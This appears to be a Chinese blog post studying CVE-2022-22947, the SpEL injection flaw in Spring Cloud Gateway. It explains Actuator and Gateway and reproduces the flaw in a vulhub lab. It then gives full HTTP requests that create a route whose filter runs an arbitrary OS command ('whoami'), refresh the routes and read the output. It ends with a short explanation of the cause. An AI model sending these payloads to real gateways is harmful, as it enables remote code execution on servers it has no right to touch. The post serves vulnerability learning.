【Web】CVE-2022-22947 SpringCloud Gateway SpEL漏洞学习

目录

简介

Actuator操作Gateway接口列表

复现流程

漏洞复现

简单原理


简介

Spring Boot Actuator 和 Spring Cloud Gateway 是 Spring 生态系统中的两个关键组件,它们在微服务架构中扮演着不同的角色,下面简要介绍它们之间的关系:

  1. Spring Boot Actuator

    • Spring Boot Actuator 是 Spring Boot 提供的一个功能强大的监控和管理端点,可以用于监视应用程序在生产环境中的运行情况。它包括了诸多内置的端点(endpoints),如健康检查、信息展示、环境配置、线程堆栈等,同时也支持自定义的端点来暴露应用程序特定的信息和操作。
  2. Spring Cloud Gateway

    • Spring Cloud Gateway 是 Spring Cloud 生态系统中用于构建 API 网关的组件,它提供了路由、过滤器、负载均衡等功能,用于统一管理和控制微服务架构中的请求流量。
  3. 关系

    • Spring Boot Actuator 和 Spring Cloud Gateway 在微服务架构中扮演着互补的角色。具体来说,Spring Boot Actuator 可以用于监控和管理单个微服务实例的运行状态和指标,而 Spring Cloud Gateway 则用于管理整个微服务架构的请求路由和流量控制。
    • 通过 Spring Boot Actuator,可以对各个微服务实例进行监控、健康检查等操作,并且可以利用 Actuator 的端点来暴露微服务的运行时信息;而 Spring Cloud Gateway 则通过网关的路由和过滤功能来管理请求的转发和处理,确保对微服务的请求能够进行统一的控制和处理。

Actuator操作Gateway接口列表

复现流程

1、启动Spring Cloud Gateway服务

2、添加过滤器(POST)

3、刷新过滤器(POST)

4、访问过滤器ID(GET)

漏洞复现

先vulhub搭建靶场

先创建路由(过滤器)

复制代码
POST /actuator/gateway/routes/Z3r4y HTTP/1.1
Host: 124.222.136.33:8082
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
  "id": "Z3r4y",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

再刷新路由

复制代码
POST /actuator/gateway/refresh HTTP/1.1
Host: 124.222.136.33:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947+gzip"
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

Z3r4y=111

最后访问该恶意路由

复制代码
GET /actuator/gateway/routes/Z3r4y HTTP/1.1
Host: 124.222.136.33:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"

可以看到whoami成功执行(root)

简单原理

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes

2、可以通过/gateway/routes/{id_route_to_create}创建路由

3、通过/actuator/gateway/refresh刷新路由

4、当路由带有恶意的Filter,里面的spEL表达式会被执行

相关推荐
毅炼4 小时前
不写多语言 SDK,怎么让 Python、Go、Node 服务接入注册中心?
java·后端·系统架构·gateway
alwaysrun5 小时前
Web之WASM详解
web·wasm
kali-Myon5 小时前
分享一个网络安全 AI 工具导航项目 SecSkills
安全·ai·github·ctf
flying jiang1 天前
TencentEdgeOne/enterprise-website-template 国内独立开发部署完整方案
web
苏渡苇1 天前
Spring Insight 里如何把 Span 收成一条链路
spring boot·spring·spring cloud·系统监控·apm
蒲公英eric1 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
叶总没有会1 天前
微服务--分布式基础
java·spring·spring cloud·微服务
孙启超2 天前
【AI开发之Rust】第 7 课:错误处理 —— panic、Result 与 `?`
人工智能·分布式·后端·爬虫·spring cloud·架构·rust
Mininglamp_27182 天前
WebRetriever技术架构:视觉特征与DOM结构融合的网页元素定位方案
ai·agent·web
白猫不黑2 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗